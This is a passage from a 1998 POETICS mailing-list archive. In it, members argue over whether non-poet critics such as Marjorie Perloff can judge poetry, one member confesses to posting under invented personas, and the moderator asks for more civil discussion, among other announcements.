choices, and debate about those choices can hopefully proceeed along the level of careful textual analysis and comparison rather than unwarranted personal attacks. The more interesting points, I believe, are: what is the role of literature, what is the role of criticism, and finally, what is the relationship between the two. This ties into an examination of the process of canon formation. For example, Marjorie Perloff and others on this list have contributed in interesting and expansive ways to the discussion of the canon of "women's writing" and what that entails. Is it only "subject matter" that these writers have in common, or can we also consider technical/textual innovations are part of the discussion in feminist literary criticism? These are some of the things I'd personally like to hear debate about on the poetics list. All are invited to join. Kathy Lou Schultz

Marjorie Perloff wrote:
>
> Christina Chirot informs the List that I have no right to comment on
> poetry because I'm not a poet. Then in her next paragraph she declares
> that my course on Visual Poetics was suspect because I didn't listen to
> "well informed" people who could tell me what to teach (like their own
> visual poems!). So now it seems I'm not allowed to be an academic
> either because by some wonderful inverse reasoning, only poets decide
> what should be taught in such a course!
>
> The TOLERANCE exhibited here is really something.

↑ Index

893. **joel lewis**
Re: I Love Learning Things
Sat 28 Nov 1998

Hannah--

I just saw It's a wonderful time for the 300th time & decided that Pottersville (the honky-tonk town that emerges because George Bailey is never born) looks a whole lot more appealing than dull Bedford Falls!

joel lewis

↑ Index

894. **Bob Grumman**
Re: non-poets on poetry
Sat 28 Nov 1998

I see why Marjorie Perloff tends to keep aloof from squabbles like this one. She's not too deft at the kind of fencing required.

Now she has decided that Dave Chirot ("dbc," not Christina Fairbank Chirot, whose name is in the "from" box of Dave's message) has claimed that she is "not allowed to be an academic" because she is not a poet. Actually, Dave was claiming that her argument was flawed, to him, because she was not a poet and therefore (I gather) unable to connect to the poet's point of view in this ONE particular case (something I'm afraid I disagree with Dave about). I'm quite confident Dave does not believe non-poets should be prohibited from being academics.

Maybe I should take back my remark about Marjorie's skill at squabbling: she IS good at the fencing required, here misrepresenting an opponent so as to be able more easily to put him down.

As one of the ""well informed"" people who provided Marjorie with advice on what to teach at her visual poetry seminar (at her request to the list, and never presuming to TELL her what to teach in the seminar), I naturally agree with Dave that Marjorie ought to have paid more attention to my advice. Marjorie is certainly NOT well-informed about visual poetry. I might add that I never suggested she include my own visual poems in her course, though I may well have suggested (diffidently, in an aside) the inclusion of my book about visual poetry and poetry-in-general, Of Manywhere-at-Once, soon to be out in a third (self-needless to say-published) edition, which I (undiffidently) consider of as much value in the field as any text she used in her seminar, which isn't much of a boast.

In conclusion, I go along with Dave's remark, intolerance/tolerance--
maybe not either/or but both/and." And would like to add the following
to his charmful poem

```
     the
po       em
is       in
   side
```

:

```
     eht
 me       op
tuo       si
     edis
```

--Bob G.

↑ Index

895. L. MacMahon and T.R. Healy
Marjorie Perloff IS a poet
Sat 28 Nov 1998

This lovely poem by Marjorie Perloff (quoted below) appears in her essay _Sentence, not Sentence_ which is available on her home page
http://writing.upenn.edu/epc/authors/perloff

Randolph Healy

****

Noun phrase with adjectival modifier

past participles used as predicate adjectives

imperative clause (or past indicative verb + adverbial compliment)

past indicative verb + prepositional phrase

complete clause (subject, verb, predicate) in past tense

prepositional phrase modified by preopositional phrase

noun phrase with adjectival modifier

past indicate verb + present participle

noun phrase + prepositional phrase

past progressive verb + object

infinitive + conditional clause

adverb + qualifier + adverb

complete clause (subject +predicate)

adverbial phrase of timefrom [redacted]
from [redacted]

↑ Index

896. Peter Ganick
new website
Sat 28 Nov 1998

low-tech site with a long poem i've been
working on since december 1997...

click on:
<http://members.home.com/zeropoet> ...

peter ganick
potes & poets press / a.bacus

↑ Index

897. WENDY KRAMER
debbie
Sat 28 Nov 1998

---

sorry for the hiatus elizabeth treadwell the publisher address for debbie an epic is:

New Star Books Ltd.
[redacted] Commercial St.
Vancouver, BC
V5N 4E8

tried and failed to backchannel--but mebbe others want this info...

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898. Randy Prunty
Re: Ganick's long poem
Sat 28 Nov 1998

Peter, I can't read your poem. Now, what does this mean. It means I can't treat your poem like I treat (most) other poems. I can't say "in section 48 you say, 'fortunes of excelling intentionality looking at atoms opened for herself in snapped gratitude'; what were you going for there"? I mean I can say it. I just did. But even if you had a response to that, its not like that would help me "get" your poem. But then some people don't "get" some of my work. And if they ask me what a certain section or phrase means then i'm just dumbstruck because if they don't get it then I can't explain it. I think I mean i can't complete your poem. But i remember I once thought i couldn't read/complete Coolidge's Crystal Text. but so what. I "get" it to the extent it works. and it DOES work for me. in me. I'm pretty sure that you realize that I write this not as a criticism, (I'll say here that your piece in the latest Kenning is one of the cool contributions that makes it such a good issue. and perhaps I've said to you before how much I enjoyed your chap Agoraphobia) but rather as an open question to you and other listees about writers and readers. Do you find readers who read your long works with a kind of intensity/obsessiveness with which you write them? I mean, Peter, that's MASSIVE. you expect it to be consumed so soon after Thanksgiving? or do you expect/hope that I and others will visit frequently for Around A Corner sandwiches. i'm assuming you care about having readers or you would not publish. so, another question, do you intentionally try to overwhelm the reader? to try to force me/us out of the "this is a nice little poem"

mentality? you force me to expand what I think of as a poem. if you say its a poem, then its a poem. like finnegans wake is a long mindfuck poem. like Crystal Text is a meditative-language-experience poem. I hope you respond to this, but perhaps not until you've allowed others to respond to your work and my questions.

Randy

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899. **Burt Hatlen**

Re: POETICS Digest - 26 Nov 1998 to 27 Nov 1998 (#1998-137)

Sat 28 Nov 1998

Dear Members of the Poetics Listserv,

I'm writing to you as a member of the steering committee of the newly formed Modernist Studies Association, which is designed to bring together scholars who are working on all facets of literary and cultural activity between the later 19th- and the mid- 20th century.

The inaugural conference of the new association will take place October 7-19, 1999 at Penn State University (University Park). The title of the conference, "The New Modernisms," speaks to the revitalization and the variety of new developments in the field over the last several years. At our first conference, we will run sessions on topics such as the expansion of the modernist canon, particularly in light of recent concerns with race, class, gender, region, and ethnicity; the "postmodern" revaluation of modernism; the new interest in modernism, science, and technology; the reassessment of the socio-political contexts of modernism; issues of nationalism, imperialism, and colonialism; the marketing of modernism; the impact of new editorial principles and procedures; and new approaches to the relations among the various arts and sciences of the era.

You should be hearing about the conference over the next few months. We'll be distributing flyers over the next month or so, and the official conference brochure, which will contain a call for papers and a registration form, will appear in early spring. You can also check out our website (still under construction) at http://www.psu.edu/dept/english/MSA/msa.htm. For further information, feel free to contact me or any one of the conference planners, Michael Coyle ([redacted]), Cassandra Laity ([redacted]), Gail McDonald ([redacted]), or Sanford Schwartz ([redacted]).

Since we are still in the process of constructing our mailing list, I wondered if you could suggest the names of several colleagues (along with their institutional affiliations and e-mail addresses if you have them) who might be

interested in the organization and the conference. I or one of the other members of the steering committee would be happy to contact them.

Best wishes,

Burt Hatlen ([redacted])

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900. Gabriel Gudding
Re: non-poets on poetry
Sat 28 Nov 1998

On Sat, 28 Nov 1998, Bob Grumman wrote:

> *one. She's not too deft at the kind of fencing required.*
>
> *tuo si*
> *edis*

1). As to your Latin: I DID edit the above by myself.

2). Kenneth Tynan: "A critic is someone who knows the way but cannot drive the car."

Trouble is, poets keep making shortcuts. I think the critic in question needs a new Baedeker.

-G. Bunsen, III

↑ Index

901. David Erben (Art)
Forgive Me For I Have Sinned...
Sat 28 Nov 1998

Friends,

Some of you who recall my name appearing regularly on this list in the distant and recent past might have noticed that I have taken a few months off from posting here. I could say I was travelling out west on vacation or I was enjoying time without teaching in more than a few years or that I had a series of respiratory infections and was on massive doses of interventionist drugs most of the time and all of those would be at least partially true.

But more recently there is a somewhat more nefarious reason my name and my words haven't appeared on your screens. I have been being "others." Using my childhood memories from CCD education and tones so over the top that I thought someone would surely notice quickly; and starting with an insidious series of provocative subject lines targeting a well known critic (sorry Marjorie!)),

moving on to create narratives as an agent provacateur , then duelling using the rhetoric of various absolutisms, and finally concocting a paranoid fantasy of Arababble about non poets not being able to critique poetry that would make Ross Perot proud, I have been, for the past week and a half, creating a number of cyber-personas (borrowing from Joyce and the Old Testament sneaking in a few jokes about JD's "on the one hand, on the other hand" strategies in the De Man essays, the early thing on Freud, and elsewhere). I was going to continue this little performance, but the listowner tells me I must come clean at this point since things are getting out of hand (sorry...). So this is my little announcement/circumfession. I hope no one took any of my silliness seriously, all that talk about my book on visual poetry and the fear and trembling at 1789 and May '68, and the hack-job poem pricking the sensitive by using Foucault (I particularly like the lines I came up with on the virtues of name calling). How could those of you who know my whimsical tendencies towards dramatic excess not have heard me there? So much for intention and the re-marking of the signature...dissemination indeed!!!...and all that. Its all gotten to be an awful lot of work though, and kind of tedious, posting all these things, so the time has come to put this thing to bed.

So this is me saying so long and reminding everyone about some favorite lines from *Glas* and Lyle Lovett . . .

"Its/His signature, as thought of the remain(s), will envelop this corpus,
but no doubt will not be contained therein.
This is -- a legend." (1a)

"Words are like posion..."

↑ Index

902. **Hannah J Sassaman**
Re: I Love Learning Things
Sat 28 Nov 1998

I agree -- one thing that struck me about Pottersville was how similar it seemed to any portrayal of New York in "showgirl-makes-good" type movies of the thirties and forties. Everyone in those movies *owned* nightclubs and drank themselves silly. IT'S A WONDERFUL LIFE is morally polarized in comparison to those flicks. Which world were the moviegoers of the era rooting for most of the time?

Hannah

joel lewis said:
(c;
(c; Hannah--

(c;
(c; I just saw It's a wonderful time for the 300th time & decided that Pottersville
(c; (the honky-tonk town that emerges because George Bailey is never born)
(c; looks a whole lot more appealing than dull Bedford Falls!
(c;
(c; joel lewis
(c;

--
****

Hannah Jane Sassaman
Sophomore, University of Pennsylvania
Majoring in Theatre Arts and English
Editor at CrossConnect (http://ccat.sas.upenn.edu/xconnect)

School Address: 4009 Pine St. Philadelphia, PA 19104
Home Address: 42 Framingham Lane Pittsford, NY 14534

Talk not of wasted affection; affection never was wasted.
-- Henry Wadsworth Longfellow

My father warned me about men and booze, but he never mentioned a word about women and cocaine.

-- Tallulah Bankhead

↑ Index

903. **MAYHEW**
Re: non-poets on poetry
Sat 28 Nov 1998

So we're back to petty sniping at Marjorie Perloff's syllabus? This was one of the low points of the list almost a year ago.

My point about relative anonymity: most people's syllabi are not publicly debated by a group of 700 people. Let's turn the spotlight on Bob Grumman for a while.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

904. **Bob Grumman**
Re: non-poets on poetry
Sat 28 Nov 1998

This is a multi-part message in MIME format.

Jonathan Mayhew wrote:

"So we're back to petty sniping at Marjorie Perloff's syllabus? This was one of the low points of the list almost a year ago.

"My point about relative anonymity: most people's syllabi are not publicly debated by a group of 700 people. Let's turn the spotlight on Bob Grumman for a while."

Nor was Marjorie's: only three or four people found fault with it; a half dozen of so others tch-tched. Certainly 700 did not participate. Moreover, I wasn't the one to restart the squabble but felt I ought to correct what Marjorie said about it in her retort to the one who did. But I'm all for laying off Marjorie and spotlighting Me! I have a few poems and an essay at Light & Dust, stuff at my own hardly-ever-visited Comprepoetica site (address below) and a play that almost nobody thinks much of at http://www.geocities.com/Athens/Olympus/3228. You should be able to get enough ammunition to use against or for me from these.

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------276647F05A4D--

↑ Index

905. **Bob Grumman**
Re: Forgive Me For I Have Sinned...
Sat 28 Nov 1998

Well, David, you sure fooled me. I thought you were writing Marjorie's posts.

--Bob G.

David Erben (Art) wrote:
>
> Friends,
>
> Some of you who recall my name appearing regularly on this list in the
> distant and recent past might have noticed that I have taken a few months

> off from posting here. I could say I was travelling out west on
> vacation or I was enjoying time without teaching in more than a few years
> or that I had a series of respiratory infections and was on massive doses
> of interventionist drugs most of the time and all of those would be at
> least partially true.
>
> But more recently there is a somewhat more nefarious reason my name and
my
> words haven't appeared on your screens. I have been being "others." Using
> my childhood memories from CCD education and tones so over the top that I
> thought someone would surely notice quickly; and starting with an
> insidious series of provocative subject lines targeting a well known
> critic (sorry Marjorie!)), moving on to create narratives as an
> agent provacateur , then duelling using the rhetoric of various
> absolutisms, and finally concocting a paranoid fantasy of Arababble about
> non poets not being able to critique poetry that would make Ross Perot
> proud, I have been, for the past week and a half, creating a number of
> cyber-personas (borrowing from Joyce and the Old Testament sneaking in a
> few jokes about JD's "on the one hand, on the other hand" strategies in
> the De Man essays, the early thing on Freud, and elsewhere). I was going
> to continue this little performance, but the listowner tells me I must
> come clean at this point since things are getting out of hand (sorry...).
> So this is my little announcement/circumfession. I hope no one took any
> of my silliness seriously, all that talk about my book on visual poetry
> and the fear and trembling at 1789 and May '68, and the hack-job poem
> pricking the sensitive by using Foucault (I particularly like the lines I
> came up with on the virtues of name calling). How could those of you who
> know my whimsical tendencies towards dramatic excess not have heard me
> there? So much for intention and the re-marking of the
> signature...dissemination indeed!!!...and all that. Its all gotten to be
> an awful lot of work though, and kind of tedious, posting all these
> things, so the time has come to put this thing to bed.
>
> So this is me saying so long and reminding everyone about some favorite
> lines from *Glas* and Lyle Lovett . . .
>
> "Its/His signature, as thought of the remain(s), will envelop this corpus,
> but no doubt will not be contained therein.
>   This is -- a legend." (1a)
>
> "Words are like posion..."

↑ Index

906. **Emily Lloyd**

Critic-Penitents, Poet-Penitents

Sat 28 Nov 1998

Critcs have so much "power" in poetry because poetry has so little power (despite gains) in the U.S. as a commodity. People will see heavily hyped films whether or not film scholars/critics "approve" them--and even whether or not pop critics like Siskel & Ebert do. I don't know of any pop poetry critics--by which I mean critics whose opinion the average person (let's say even average college or post-college graduate) doesn't have to go looking for, doesn't have to be *already interested* in poetry to read, hear, or be bombarded with. The closest to pop would not be Vendler, but, now, Hass--the Sunday *Washington Post* having a larger, I'm pretty sure, readership than the New Yorker. And, for the most part, poetry is to the novel as "20th Century Music" is to the overwhelming majority of the music on FM radio. I'm not even talking Babbitt or Boulez poetry "equivalents." I'm talking Robert Pinsky. Go door to door and ask folks who the current poet laureate is--who ANY of the laureates (besides, of course, Frost) were. Poetry only sells well if it's by a singer, actor, pope or ex-president. Or, whoops, Maya Angelou. Most people will still define poetry as writing that rhymes. These are *not* stupid people. Even among "cultured" people--or people who wish to appear cultured--knowing who's being put forth as tops in poetry in the mainstream (don't even *think* about any other stream) is no priority.

Poetry crit is read by poets, critics, and college-students-who-are-forced. This, I think, is why it *seems* less to separate the wheat from the chaff that to separate poets from poets. The ultimate use (far, perhaps, from the ultimate interest or concern of the critic) to which crit is put is to determine what's taught in schools. Not what's read by any other or the larger population. Perhaps not what's actually read by those students to whom it's assigned.

Why are we angry when what we consider bad poetry (I'll cite Pinsky for the ease of it) is put forth as the best (or even as good)? I can't imagine it can be too much about money. I'd guess it's because we have some kind of love and respect for poetry (that ol' abstraction, "poetry")--such that the "bad" stuff feels like an *abuse* of poetry. Bad poetry has occasionally made me, at least, stomp around the house, bang my head against a wall, rant, and practically pluck my eyes out because they've offended me. I've responded (and will again, probably) more indignantly to bad poetry than I have to all manner of shootings, a couple bombings, etc. This is either because I'm a poet, a critic, or a crazy person, all things I've actively been at certain times.

I take it for granted that critics, too, have a love of & respect for poetry--and *of course* they need not be poets. Many excellent poets are lousy teachers and

critics; many excellent critics might be lousy poets. Frankly, the closer I've come to reading as much or knowing as much about poetry as the most qualified (ok, credentialed) critics, the less likely I've been to write it. I quit writing poetry a year and a half ago--out of love & respect for poetry. I still consider myself highly qualified to critique it (and no, I'm not, nor have I ever tried to be, a published critic.) Perhaps more highly than when I wrote it. Perhaps more highly for having written it. What's clear is that I wasn't able at the time, and may never be, to write the poetry that I, as a critic, would find worthy of "poetry." For the record, I quit when in the peak of high favor with my MFA profs & other poets whose work I respected. That's a big "so what." I did not consider them rigorous enough critics. One prof, in workshop, asked the poets to forget her critiques and concentrate on mine instead. So it's not a case of "I'm my own toughest critic." I was everyone's <grin>.

Finally (and I apologize for having been rambling & disjunct), I would never assume a necessary relation between a love of poetry and a love of poets (and keepin' 'em all happy). I'd far prefer a love of poetry. Hell, I'd prefer blind submission processes to even the lowliest of litmags (which reminds me: eds. of litmags should be at least as infuriating to this crowd as critics, no?) As yet, I think we should still be grateful to Perloff (and Perelman, Lazer, etc.) The Canon is still a far more "dangerous" opponent than their (or our individual) canons. All of this kind of reminds me of my 2 yrs. or so of "hardcore" lesbian feminism. More energy & time was spent on such questions as "Should lesbians be allowed to wear lipstick?" and "Should we even SPEAK to bisexual women?" than, well, I dunno, "How can we stop courts from automatically denying lesbian mothers custody?"

Focue. Perspective. Practicality.
em

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907. **William Slaughter**
Mudlark
Sat 28 Nov 1998

MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
http://www.unf.edu/mudlark

New and On View: Mudlark Poster No. 15

"The Point of Touching" and "Moving Bodies"

Prose Poems by Michael Hettich

* * *

Current Issue: Mudlark No. 9

THE ROAD TO OCOSINGO

Chapbook by Andrew Schelling

* * *

Next Issue: Mudlark No. 10

IMPROVISATIONS ON TITLES OF WORKS BY JEAN DUBUFFET

Chapbook by Diane Wald

Spread the word. Far and wide,

William Slaughter, Editor
E-mail: [redacted]

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908. Joe Amato/Kass Fleisher

Re: non-poets on poetry

Sat 28 Nov 1998

imho, difficult poetries profit from intervention by critics who are sensitive to same... and from where i sit, marjorie is one of the latter, and one of the best, period... (if i may, marjorie) prof. perloff didn't become prof. perloff just b/c she's at stanford---anyone who knows anything about her knows how hard she's had to work to distinguish herself, to even "make it" with the stanford crowd... in her ability to read various works "closely" (shorthand alert here), she often speaks directly to my aspirations and experiences as a poet...

there are other, more broadly cultural studies of poetry that are valuable, as well, and that help make my work valuable to me... we have a number of folks on this list capable of such reckonings, as i've said before... and of course i continue to value and respect the work of so many other poets (of course)...

i find mself friends---and friendship is what i value---both with marjorie, for example, and with dave chirot... i dislike it when i see friends quarrel, but i understand that the world, too, can be a difficult place...

from where i'm sitting, i think kathy lou schultz points to the salient issue---the relationship twixt the (only apparently) dichotomous realms of literature (e.g., but may be expanded in semiotic terms) and critique... these are nice categories

to deploy, in certain situations, but can be extremely delimiting under certain other situations (just ask a. jenn sondheim, for one)...

i think this discussion is beginning to sound a whole lot like the hoary "two cultures" conflict (humanities "vs." sciences)... i appreciate david erben's (hi david!) sense of humor... and i admire jonathan m's capacity for cutting to the quick of things...

binaries can be useful, in that they point to actualities of practice... but they can be reified, to use an overworked expression... i hear some reified rumblings rumbling forth from these vicinities on occasion, though i sympathize, i really do, with the poet tribes, "academic poet" that i am, even as i will rise to the defense of the critical function (me, who imagines himself a scholar-poet sometimes, but other times a plain ole writer)...

oh and if i had three feet, one would most certainly be up my ass...

///

joe

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909. **Joe Brennan**

Fwd: let's play monopoly

Sat 28 Nov 1998

This is a multi-part message in MIME format.

--part0_912281360_boundary

thought this might interest some list members.

j..

--part0_912281360_boundary

> air-za01.mail.aol.com (v51.29) with SMTP; Sat, 28 Nov 1998 11:37:52 -0500
> [128.143.200.198])
> by rly-za01.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
> with ESMTP id LAA01840;
> Sat, 28 Nov 1998 11:37:51 -0500 (EST)
> LAA75037 for heidegger-outgoing; Sat, 28 Nov 1998 11:16:46 -0500
> [redacted] using -f
> lists.village.virginia.edu (8.8.5/8.6.6) with ESMTP id LAA34328 for
> <[redacted]>; Sat, 28 Nov 1998 11:16:41 -0500

From: [redacted]

by imo17.mx.aol.com (IMOv16.10) id SNRQa08006
for <[redacted]>; Sat, 28 Nov 1998 11:15:37 -0500
(EST)
Date: Sat, 28 Nov 1998 11:15:37 EST
To: [redacted]
Subject: Re: let's play monopoly

please forward to everyone you know who reads:

Fellow Writers and Readers:

For those of you who've missed the front page news this past week, Barnes and Nobel, and biggest bookseller in the country, as just bought Ingram, the biggest book distributor in the country. The Washington Post likened the deal to King Kong buying Godzilla. To say that it will change the publishing industry forever, or that independent booksellers, authors, and publishers are unhappy about it, is a gross understatement.

The following message from Tom Purdom, a member of Science Fiction Writers of America (SFWA) is being forward to writers' organizations all over the country with the request that it be forwarded to anyone and everyone who ever buys a book. I'll be sending my letters, per Tom's letter, and I hope all of you will consider doing the same.

Mary

[BEGIN TOM'S MESSAGE]

Last night I received a message from Science Fiction and Fantasy Writers of America asking me to write the Attorney General and the Federal Trade Commission. I've written both of them, and it occurs to me this issue should interest anyone who reads.

On Friday, Barnes and Noble announced it is buying Ingram Books-- the major national wholesaler in the book business. Ingram is the primary supplier for the independent bookstores and chains in the United States. If this deal goes through, the largest retail bookstore in the country will control the major wholesaler. Ingram is also the major supplier for Barnes and Noble's chief online competitor--amazon.com.

For the last twenty years, writers have been dealing with a corporate consolidation that has changed the nature of the publishing industry. The overall result has been a reduction in the choices offered readers.

The American Booksellers Association is asking its members to write the Attorney General and the FTC. SFWA is joining in this effort. Other writers organizations are probably jumping on the bandwagon. The founder of SFWA, Damon

Knight, has urged all SFWA members to send letters. Another SFWA past president, Jane Yollen, has called the takeover "the final nail in a number of coffins."

To quote the ABA statement: "This acquisition, should it be allowed to take place, is just one more example of the large scale corporate consolidation that has infiltrated every corner of our culture.....Consumers are left with an environment in which fewer and fewer people are deciding which books get published, and ultimately, which books Americans can read and buy....This deal would make independent bookstores virtually dependent upon their largest competitor....While there are some smaller, unaffiliated book wholesalers that provide independent booksellers with excellent service, Ingram Book Company is a primary distribution source for the vast majority of ABA member stores...."

The relevant addresses are:
Attorney General Janet Reno
Department of Justice
950 Pennsylvania Avenue, NW
Washington, DC 20530

Robert Pitofsky
Chairman
Federal Trade Commission
Pennsylvania Avenue & 6th Street, NW
Washington, DC 20580

The ABA would like to receive courtesy copies of all letters to Reno or Pitofsky. Their fax number is [redacted]. Their mailing address is:

American Booksellers Association
828 South Broadway
Tarrytown, NY 10591

Two years ago, Senator Hatch made two attempts to slip significant changes in the copyright law through Congress. The American Society of Journalists and Authors mailed everyone on its list, we responded with faxes and emails, and Senator Hatch retreated. In the past, writers and readers have been an invisible community. By the time we learned about developments like the Barnes and Noble deal, it was usually too late to do much. Now, thanks to online communications, we can join campaigns like this knowing thousands of other writers and readers are mounting an immediate response.

The ABA is asking for letters, not emails or faxes. If you don't have time to write a couple of paragraphs, two sentences will do. Just tell the AG and the FTC you support the ABA position on Barnes and Noble's attempt to buy Ingram and hope the Justice Department will initiate anti-trust action.

Please feel free to forward this.

For more information on this subject, you can consult the ABA Bookweb site at http:www.bookweb.org

bob

--part0_912281360_boundary--

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910. **Karen Kelley**
Re: non-poets on poetry
Sat 28 Nov 1998

The Poetics of Indeterminacy being a prime example.

Joe Amato/Kass Fleisher wrote:

> *imho, difficult poetries profit from intervention by critics who are sensitive to same... and from where i sit, marjorie is one of the latter, and one of the best, period...*

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911. **Charles Bernstein**
Free Poetics
Sat 28 Nov 1998

I am not writing to dispute an assertion or tone in any specific post, though I have several in mind, but because I am concerned that the tabloidization of the recent list is discouraging people from participating who don't want to enter into such a fray. By tabloidization I mean persistent posts that are big on attitude but little else; that are more focussed on generating attention than provoking thought. Maybe I am just sticking my hand against the wind, to feel the breeze; that is, I realize that some of what I am concerned about here is part of the structure of the listserve environment. But technology is not destiny and I am convinced that the group of people subscribed to this list can edit themselves in a way responsive to what this list might aspire to be. I am not writing this to provoke a round of defensive remarks -- I understand that every specific I might give would be open to question, no doubt reflects my misunderstanding of the underlying issues, or simply reflects my disagreement with another perspective, etc. I am, of course, expressing my preference, with the understanding that, as list moderator, that preference needs to be articulated to the list more forcefully than I have generally been willing to in the past.

For this list is moderated, as all the subscribers now. Joel and I are reluctant to intervene in any given exchange, or about any given post, because I believe that free and open and even intemperate exchange is a fundamental feature of dialogue. Disagreement is always welcome. But the viability of this space requires

a greater level of care in what is posted than has been evident in some -- indeed a small but visible minority -- of the posts in the recent past, where self-proclaimed "cheap shots" and "name calling" end up dominating the space, creating more spectacle and than conversation . Heavy attitude is fine at times, but I am finding that while I can tolerate a heavy diet of it, I am losing my patience for it.

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912. Gabriel Gudding
The Virtues of Going Over The Top
Sat 28 Nov 1998

On Sat, 28 Nov 1998, David Erben (Art) wrote:
> tones so over the top that I thought someone would surely notice quickly

What are the virtues of going over the top?

1). When, like the sides of a hippy fortress, the sides of debate are so thickened by tedious argument and tut-tuttle that one cannot punch through them, one must go over them.

2). Just as the arrow must fly over the cat in the plum tree in order to penetrate the rainbow above the meadow of oleander, so also must my rhetoric overshoot your feline brain on its way to the moon.

3). All successful catapults fling items _over_ palisades, missiles being unable to fly through the ground.

4). Aside from skirts and possibly socks, the best garments go over the top.

5). All "boss" poetry goes over the top. And why shouldn't argument follow it?

-- Gaga Gagarin

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913. Leonard Brink
Re: non-poets on poetry
Sat 28 Nov 1998

> *Chirot informs the List that I have no right to comment on poetry because I'm not a poet.*

Marjorie, a lot of the posts can be boiled down to simply being critical of you for being a critic, doing what critics DO, i.e. making a difference between the good, the bad, and the merely ugly as you see it; taking a stand for what you believe in instead of being "tolerant."

Pinsky...Howe...Howe?...Pinsky?..."Can(n)ons to the right of us ... Can(n)ons to the left of us"... personally, I can't tolerate the idea of having to side with either of them. Maybe that means I'm a loose cannon caught in the crossfire of the Determinacy of Criticism.

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914. **louis stroffolino**

Re: Critic-Penitents, Poet-Penitents

Sat 28 Nov 1998

I (sometimes) like arguing with critics and/or scholars. But of course I realize when I do so, I realize that they do something I either can't, won't, or simply didn't, do. There is a skill to a certain kind of general, binary, sweeping, thinking that critics often employ. It is something I respect, even if it seems sometimes I don't. I think it can be useful for poets. I, for one, know that some of my poems are written out of arguing with critics (and eventually arguing against arguing). I'd rather do it IN the poem often than in what some would say is more "legitimazing" prose, but then I'm aware that some would say that such poetry is really more "like" criticism (the enemy) than it is like poetry. Sometimes this dilemma can be very fascinating. Sometimes I can even get myself to be "reductive" enough to write things that "pass" for essays in an academic, or journalistic, sense (it's an "or" not an "end"). (and sometimes I'm even "lyric" enough to pass for what some journals call "poetry").

Anyway, this isn't really about me. So, let me just say that--at thew risk of sounding fuddy-duddy in valuing communication--that I have been on a Shakespeare email list for about as long as I've been on this... And there's a certain (at the risk of sounding sexist, which is NOT my intention) "gentlemanliness" to the nature of the argument on that list which is lacking here. I don't want to hold the discussion there as a STANDARD that we, at poetics, should strive for (for there's a lot of silly dross there too). But at least there's an idea of respect for the varying speakers there admist the disagreements about opinions. Bitterness is often justified, entertaining, and a powerful tool for communication, but the email forum seems to encourage no time for reflection---especially when the list is so free ranging. Awhile back Kevin or Dodie said something about how those who complain about hierarchies may really want them. I sometimes we think we need to "free" poetics FROM its current "freedom" and set some limits to the discussions.... well, this seems incredibly BLAND of me (to myself at least) to say this. Maybe we could PAY somebody to be a moderator (like the talk about paying NFL officials), but then it would make the most interesting talk backchannel pleas to the moderator (but then a lot of the most interesting talk MAY VERY WELL BE backchannel anyway), like lobbyists doing the real work while the floor of congress is a figurehead. ---chr

On Sat, 28 Nov 1998, Emily Lloyd wrote:

> *Critcs have so much "power" in poetry because poetry has so little power (despite gains) in the U.S. as a commodity. People will see heavily hyped films whether or not film scholars/critics "approve" them--and even whether or not pop critics like Siskel & Ebert do. I don't know of any pop poetry critics--by which I mean critics whose opinion the average person (let's say even average college or post-college graduate) doesn't have to go looking for, doesn't have to be *already interested* in poetry to read, hear, or be bombarded with. The closest to pop would not be Vendler, but, now, Hass--the Sunday *Washington Post* having a larger, I'm pretty sure, readership than the New Yorker. And, for the most part, poetry is to the novel as "20th Century Music" is to the overwhelming majority of the music on FM radio. I'm not even talking Babbitt or Boulez poetry "equivalents." I'm talking Robert Pinsky. Go door to door and ask folks who the current poet laureate is--who ANY of the laureates (besides, of course, Frost) were. Poetry only sells well if it's by a singer, actor, pope or ex-president. Or, whoops, Maya Angelou. Most people will still define poetry as writing that rhymes. These are *not* stupid people. Even among "cultured" people--or people who wish to appear cultured--knowing who's being put forth as tops in poetry in the mainstream (don't even *think* about any other stream) is no priority.*
>
> *Poetry crit is read by poets, critics, and college-students-who-are-forced. This, I think, is why it *seems* less to separate the wheat from the chaff that to separate poets from poets. The ultimate use (far, perhaps, from the ultimate interest or concern of the critic) to which crit is put is to determine what's taught in schools. Not what's read by any other or the larger population. Perhaps not what's actually read by those students to whom it's assigned.*
>
> *Why are we angry when what we consider bad poetry (I'll cite Pinsky for the ease of it) is put forth as the best (or even as good)? I can't imagine it can be too much about money. I'd guess it's because we have some kind of love and respect for poetry (that ol' abstraction, "poetry")--such that the "bad" stuff feels like an *abuse* of poetry. Bad poetry has occasionally made me, at least, stomp around the house, bang my head against a wall, rant, and practically pluck my eyes out because they've offended me. I've responded (and will again, probably) more indignantly to bad poetry than I have to all manner of shootings, a couple bombings, etc. This is either because I'm a poet, a critic, or a crazy person, all things I've actively been at certain times.*
>
> *I take it for granted that critics, too, have a love of & respect for poetry--and *of course* they need not be poets. Many excellent poets are lousy teachers and critics; many excellent critics might be lousy poets. Frankly, the closer I've come to reading as much or knowing as much about poetry as the most qualified (ok, credentialed) critics, the less likely I've been to write it. I quit writing poetry a year and a half ago--out*

> *of love & respect for poetry. I still consider myself highly qualified to critique it (and no, I'm not, nor have I ever tried to be, a published critic.) Perhaps more highly than when I wrote it. Perhaps more highly for having written it. What's clear is that I wasn't able at the time, and may never be, to write the poetry that I, as a critic, would find worthy of "poetry." For the record, I quit when in the peak of high favor with my MFA profs & other poets whose work I respected. That's a big "so what." I did not consider them rigorous enough critics. One prof, in workshop, asked the poets to forget her critiques and concentrate on mine instead. So it's not a case of "I'm my own toughest critic." I was everyone's <grin>.*
>
> *Finally (and I apologize for having been rambling & disjunct), I would never assume a necessary relation between a love of poetry and a love of poets (and keepin' 'em all happy). I'd far prefer a love of poetry. Hell, I'd prefer blind submission processes to even the lowliest of litmags (which reminds me: eds. of litmags should be at least as infuriating to this crowd as critics, no?) As yet, I think we should still be grateful to Perloff (and Perelman, Lazer, etc.) The Canon is still a far more "dangerous" opponent than their (or our individual) canons.*
>
> *All of this kind of reminds me of my 2 yrs. or so of "hardcore" lesbian feminism. More energy & time was spent on such questions as "Should lesbians be allowed to wear lipstick?" and "Should we even SPEAK to bisexual women?" than, well, I dunno, "How can we stop courts from automatically denying lesbian mothers custody?"*
>
> *Focue. Perspective. Practicality.*
> *em*

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915. **Steven Shoemaker**

Re: Free Poetics

Sat 28 Nov 1998

